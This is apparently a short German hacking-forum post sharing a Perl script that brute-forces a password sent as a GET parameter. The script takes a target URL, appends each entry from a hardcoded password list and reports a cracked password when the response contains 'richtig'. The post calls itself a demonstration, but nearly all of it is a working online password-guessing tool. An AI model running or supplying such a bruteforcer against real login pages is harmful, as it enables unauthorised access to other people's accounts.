[Perl] Bruter

[$_staX]

Nur ein kleiner Bruter der nur veranschaulichen soll wie man einen Get Bruteforcer realisieren kann:

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
############################
#      Get Bruteforcer     #
#         by $_staX        #
############################
$counter = 0;
print "\n\t\t\tGet Bruteforcer by \$_staX\n";
print "\t\tExample: http://target.de/passwort.php?passwort=\n\n";
print "Target angeben in Form von example: ";
$target = <STDIN>;
chomp $target;
if ($target !~ /^http:/){
$target = "http:\/\/".$target;
}
@passwords=('admin','qwertz123','qwertz','++++en123','++++en','gaylord'); #Ja hier müssen halt die Passwörter stehen, die gebrutet werden
foreach $pw(@passwords){
$site = $target.$pw;
$request = new HTTP::Request(GET=>$site);
$useragent= new LWP::UserAgent;
$response=$useragent->request($request);
$counter++;
if($response->content =~ /richtig/i){ #Ausgabe der Seite wenn das Pw richtig ist
print "\n\n[+] Passwort cracked: $pw\n";
}else{
print "\n[-] Tested $counter: $pw";
}
}